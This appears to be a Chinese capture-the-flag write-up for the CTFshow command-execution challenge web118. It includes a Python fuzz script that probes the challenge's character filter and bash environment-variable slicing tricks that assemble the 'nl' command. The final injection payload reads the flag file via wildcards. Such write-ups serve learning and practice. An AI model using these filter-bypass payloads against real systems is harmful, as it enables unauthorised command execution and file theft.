CTFshow 命令执行 web118
目录
- 源码
- 思路
- 题解
- 总结
源码
<!DOCTYPE html>
<html lang="zh-cn">
<head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><link rel="stylesheet" href="style.css">
</head>
<body><div style="width:400px;height:10px;margin:100px auto"><form action='' method=post> <input type='text' name='code' placeholder="给你打开一扇通往结界的窗户,可惜钥匙你是找不到的 "></form><!-- system($code);--></div>
</body>
</html>
<div align="center">evil input</div>
思路
源码提示system执行输入的参数,发现会显示evil input
临时写的fuzz脚本
import requests
import stringurl = "http://545c9513-be92-4706-a7fc-ba5b4b69876a.challenge.ctf.show/"list = string.ascii_letters+string.digits+"$+-}{_><:?*.~/\\ "white_list = ""for payload in list:data = {"code" : payload}res = requests.post(url, data=data)if "evil input" not in res.text:print(payload)white_list += payloadprint(white_list.replace(" ","空格"))
白名单为 ABCDEFGHIJKLMNOPQRSTUVWXYZ$}{_:?.~空格
可以在本地查看 ls /bin
思路差不多就是利用环境变量拼接
拿$PWD举例
$PWD和${PWD} /var/www/html 结果一样
${#PWD} 13 $PWD的长度
${PWD:3} r/www/html
${PWD:~3} html
${PWD:3:1} r
${PWD:~3:1} h
${SHLVL:~A} 1 A是字符串 转换为数字相当于0
拼接出nl
n:
${PATH:~A} n #如果$PATH结尾为n
${PATH:${#TERM}:${SHLVL:~A}} # n 相当于${PATH:14:1}
l:
${#RANDOM} # 4或者5
${PATH:${#RANDOM}:${#SHLVL:~A}} #l
题解
code=${PATH:~A}${PATH:${#RANDOM}:${#SHLVL:~A}} ????.???
总结
水题
CTFshow 命令执行 web118相关推荐
- CTFshow——命令执行
CTFshow--命令执行 Web29 <?php error_reporting(0); if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_matc ...
- CTFshow命令执行29-123
命令执行 WEB29 eval是php中执行以PHP脚本执行的命令 PHP命令可以执行脚本命令 本题使用方法是先 system(cp f*.php 1.txt) 然后访问1.txt WEB30 在PH ...
- CTFshow 命令执行 web72
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 ...
- [CTFSHOW]命令执行
文章目录 web 29 web 30 web 31 web32 web33-36 web37 web38 web40 web41 web42 web43 web44 web45 web46 web47 ...
- ctfshow 命令执行 web29-web77 web118-122 web124 wp
南神博客 文章目录 命令执行 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 w ...
- ctfshow命令执行篇
web31 echo(`ls%09/`); echo(`tac%09fla*`); web32 过滤; 关键命令执行函数也不能用 用文件包含 其实这个做法也是靠刷题经验猜flag路径 c=includ ...
- [CTFSHOW]命令执行55-74
web 55 if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\< ...
- ctfshow命令执行(持续更新,已更至web39)
做命令执行题比前两种慢很多,到现在也只做了总数的五分之一,慢慢来吧. web29 web30 web31 web32 web33~36 web37 web38 web39 web29 题目如下: er ...
- CTFshow 命令执行 web56
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 ...
最新文章
- linux c 屏幕触摸_交互式拼接屏应用互动触摸屏实现大屏幕拼接墙
- 46 岁美国华裔“鞋王”意外去世,25 岁创业成亿万富翁
- @responseBody java_java-如何使用@ResponseBody从Spring Controller返回JSON数据
- python turtle 绘图_谈一下Pycharm中关联系统Python解释器的方法
- 排序算法(1) 快速排序 C++实现
- 使用sqlserver连接mysql服务_Sqlserver创建连接MySql的链接服务器
- Openfire开发配置,Openfire源码配置,OpenFire二次开发配置
- 一切为了开放科学!Papers with Code新增CS、物理、数学、统计学等多个学科
- Unity运行时刻资源管理
- weblogic 12 开启debug端口配置
- 数据结构之队列的应用(实现斐波那契数列)
- pro android学习笔记,【转】Pro Android学习笔记(一):Android 平台 2013.6.4
- 深入理解css之float
- (翻译)正确实施DevOps-The Lay of the Land
- 单元素的枚举类型已经成为实现Singleton的最佳方法
- wampserver修改默认根目录
- php弱口令总结,web漏洞之弱口令
- git提交提示workspace.xml出现conflicted
- CAS单点登录-配置数据库认证方式
- 【量化投资】03.量化工程abu学习之量化基础(1/3)